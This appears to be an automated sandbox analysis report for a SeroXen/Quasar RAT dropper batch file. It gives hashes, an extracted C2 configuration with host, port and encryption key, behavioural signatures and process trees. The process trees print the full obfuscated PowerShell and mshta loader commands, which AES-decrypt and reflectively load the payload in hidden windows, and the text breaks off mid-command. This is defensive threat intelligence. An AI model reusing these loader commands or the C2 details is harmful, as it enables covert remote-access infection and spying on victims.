quasar | 78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f

Analysis

max time kernel
22s
max time network
6s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
04-02-2025 16:59

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General

Target

SeroXen-install.bat
Size

12.6MB
MD5

898f49c739026123b6a3811fa31abe70
SHA1

31ff6036b40d70d21cb1c4c0163cba0d4c720551
SHA256

78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
SHA512

a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
SSDEEP

49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i

Score

10^/10

quasar seroxen v2.2.5 | seroxen defense_evasion spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | SeroXen

kimsoylak.ddns.net:4782

Mutex

2cc9d61f-950d-4f23-b7d5-45d9dda2f256

Attributes

encryption_key
F467D794B2E1081B6AD1EAD5813AFA74F053248D
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4772-64-0x00000278F8890000-0x00000278F905A000-memory.dmp	family_quasar

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5048 created 608	5048	SeroXen-install.bat.exe	5
PID 4772 created 608	4772	$sxr-powershell.exe	5

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-805940606-1861219160-370298170-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 5 IoCs

pid	Process
5048	SeroXen-install.bat.exe
4828	$sxr-mshta.exe
3580	$sxr-cmd.exe
4772	$sxr-powershell.exe
916	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4772	$sxr-powershell.exe
916	$sxr-powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 5048 set thread context of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 set thread context of 3968	5048	SeroXen-install.bat.exe	94
PID 4772 set thread context of 4592	4772	$sxr-powershell.exe	99
PID 4772 set thread context of 3604	4772	$sxr-powershell.exe	100

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$sxr-powershell.exe	SeroXen-install.bat.exe
File created	C:\Windows\$sxr-mshta.exe	SeroXen-install.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	SeroXen-install.bat.exe
File created	C:\Windows\$sxr-cmd.exe	SeroXen-install.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	SeroXen-install.bat.exe
File created	C:\Windows\$sxr-powershell.exe	SeroXen-install.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
5048	SeroXen-install.bat.exe
5048	SeroXen-install.bat.exe
5048	SeroXen-install.bat.exe
4440	dllhost.exe
4440	dllhost.exe
4440	dllhost.exe
4440	dllhost.exe
3968	dllhost.exe
3968	dllhost.exe
3968	dllhost.exe
3968	dllhost.exe
5048	SeroXen-install.bat.exe
5048	SeroXen-install.bat.exe
4772	$sxr-powershell.exe
4772	$sxr-powershell.exe
4772	$sxr-powershell.exe
4772	$sxr-powershell.exe
4592	dllhost.exe
4592	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
3604	dllhost.exe
4592	dllhost.exe
4592	dllhost.exe
4772	$sxr-powershell.exe
4772	$sxr-powershell.exe
916	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5048	SeroXen-install.bat.exe
Token: SeDebugPrivilege	5048	SeroXen-install.bat.exe
Token: SeDebugPrivilege	4440	dllhost.exe
Token: SeDebugPrivilege	3968	dllhost.exe
Token: SeDebugPrivilege	4772	$sxr-powershell.exe
Token: SeDebugPrivilege	4772	$sxr-powershell.exe
Token: SeDebugPrivilege	4592	dllhost.exe
Token: SeDebugPrivilege	3604	dllhost.exe
Token: SeDebugPrivilege	916	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 5048	4092	cmd.exe	90
PID 4092 wrote to memory of 5048	4092	cmd.exe	90
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 4440	5048	SeroXen-install.bat.exe	92
PID 5048 wrote to memory of 2052	5048	SeroXen-install.bat.exe	93
PID 5048 wrote to memory of 2052	5048	SeroXen-install.bat.exe	93
PID 5048 wrote to memory of 2052	5048	SeroXen-install.bat.exe	93
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 5048 wrote to memory of 3968	5048	SeroXen-install.bat.exe	94
PID 4828 wrote to memory of 3580	4828	$sxr-mshta.exe	96
PID 4828 wrote to memory of 3580	4828	$sxr-mshta.exe	96
PID 3580 wrote to memory of 4772	3580	$sxr-cmd.exe	98
PID 3580 wrote to memory of 4772	3580	$sxr-cmd.exe	98
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 4592	4772	$sxr-powershell.exe	99
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 3604	4772	$sxr-powershell.exe	100
PID 4772 wrote to memory of 916	4772	$sxr-powershell.exe	101
PID 4772 wrote to memory of 916	4772	$sxr-powershell.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c038ab26-a581-413d-9a5e-d1f9c6b66896}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{d21f2142-44f1-4a1e-bb0f-0e2bd4c26c5f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat.exe
  "SeroXen-install.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{e07cb7b0-94a5-4f97-bd24-491eb5427f5c}
    3⤵
    PID:2052
- - C:\Windows\SysWOW64\dllhost.exe
    C:\Windows\SysWOW64\dllhost.exe /Processid:{981f8484-763d-4744-a28c-879754642961}
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3968

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\$sxr-powershell.exe
    C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4772
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{7647d268-deac-4eb9-b0cc-0c1325878a7b}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3604
  - - C:\Windows\$sxr-powershell.exe
      "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4772).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = 